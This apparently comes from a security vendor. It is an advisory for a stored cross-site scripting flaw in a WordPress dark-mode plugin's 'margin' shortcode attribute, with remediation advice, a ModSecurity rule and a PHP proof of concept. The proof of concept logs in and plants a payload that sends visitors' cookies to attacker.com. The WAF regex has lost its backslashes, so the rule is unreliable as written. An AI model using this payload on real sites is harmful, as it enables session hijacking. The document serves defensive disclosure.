Atomic Edge analysis of CVE-2026-1886 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Go Night Pro WordPress Dark Mode plugin. The issue resides in the plugin’s ‘go-night-pro-shortcode’ shortcode handler. Attackers with contributor-level permissions or higher can inject malicious scripts via the shortcode’s ‘margin’ attribute. These scripts persist in the page content and execute when a visitor views the compromised page.
Atomic Edge research infers the root cause is improper neutralization of user input, consistent with CWE-79. The vulnerability description states insufficient input sanitization and output escaping on the ‘margin’ attribute. This indicates the plugin likely directly echoes the user-supplied ‘margin’ parameter value into the page output without proper escaping functions like `esc_attr()`. The exact code path is not confirmed without a diff, but the pattern matches common WordPress shortcode vulnerabilities where attribute values are not validated or escaped before rendering.
The exploitation method involves an authenticated user with at least ‘contributor’ privileges creating or editing a post. The attacker embeds the plugin’s shortcode with a malicious ‘margin’ attribute payload. For example, [go-night-pro-shortcode margin=”0px onmouseover=alert(document.cookie)”] could be used. When the post is published or previewed, the malicious script becomes part of the page’s HTML. The script executes in the browser of any user who views that page, including administrators.
Remediation requires implementing proper output escaping. The plugin should use WordPress escaping functions such as `esc_attr()` when outputting the ‘margin’ attribute value within an HTML tag. Input validation could also be applied to restrict the ‘margin’ value to expected CSS units and numerical values. The fix must ensure all user-controlled shortcode attributes are escaped before being rendered in any context.
Successful exploitation allows attackers to perform actions within the victim’s browser context. This can lead to session hijacking by stealing cookies, defacement by modifying page content, or phishing by injecting fake login forms. The stored nature of the attack amplifies impact, as the payload triggers for every page visitor. The CVSS score of 6.4 reflects medium confidentiality and integrity impacts with no direct availability loss, but the scope change (S:C) indicates compromise can spread beyond the targeted component.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-1886 (metadata-based)
# This rule blocks exploitation of the stored XSS via the 'go-night-pro-shortcode' shortcode.
# It targets the WordPress post editor where shortcodes are submitted.
SecRule REQUEST_URI "@rx /wp-admin/post.php$"
"id:10001886,phase:2,deny,status:403,chain,msg:'CVE-2026-1886: Go Night Pro Stored XSS via margin attribute',severity:'CRITICAL',tag:'CVE-2026-1886',tag:'wordpress',tag:'plugin',tag:'xss'"
SecRule REQUEST_METHOD "@streq POST" "chain"
SecRule ARGS_POST:content "@rx [go-night-pro-shortcode[^]]*margins*=s*["'][^"']*?onw+s*=" "chain"
SecRule ARGS_POST:post_type "@within post page"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-1886 - Go Night Pro | WordPress Dark Mode Plugin <= 1.1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'margin' Shortcode Attribute
<?php
$target_url = 'http://target-site.local/wp-admin/post.php';
$username = 'contributor_user';
$password = 'contributor_pass';
// Payload: XSS via the 'margin' shortcode attribute.
// This injects a script that steals the visitor's session cookie.
$shortcode_payload = '[go-night-pro-shortcode margin="0px onmouseover="fetch(' . "'" . 'https://attacker.com/steal?c=' . "'" . '+document.cookie)"]';
$post_content = "This is a malicious post. {$shortcode_payload}";
$post_title = "XSS Test Post";
// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// Step 1: Authenticate to WordPress
$login_url = str_replace('post.php', 'wp-login.php', $target_url);
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, true);
$login_fields = [
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => '1'
];
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($login_fields));
$response = curl_exec($ch);
// Step 2: Create a new post with the malicious shortcode
// Assumption: The plugin's shortcode is registered and will be processed.
// Contributor users can create posts.
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
$post_fields = [
'post_title' => $post_title,
'content' => $post_content,
'publish' => 'Publish', // For contributor, this may submit for review.
'post_type' => 'post',
'action' => 'editpost',
'_wpnonce' => '// Nonce required; this PoC assumes the attacker can obtain a valid nonce via prior request parsing.',
'post_status' => 'pending' // Contributor posts require review.
];
// Note: A robust PoC would first fetch the edit page to extract a valid nonce.
// This script demonstrates the concept but requires a valid nonce to execute fully.
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_fields));
$response = curl_exec($ch);
if (strpos($response, 'Post submitted') !== false || strpos($response, 'Post updated') !== false) {
echo "[+] Post created with malicious shortcode. XSS payload: {$shortcode_payload}n";
} else {
echo "[-] Post creation may have failed. Check authentication and nonce.n";
}
curl_close($ch);
?>
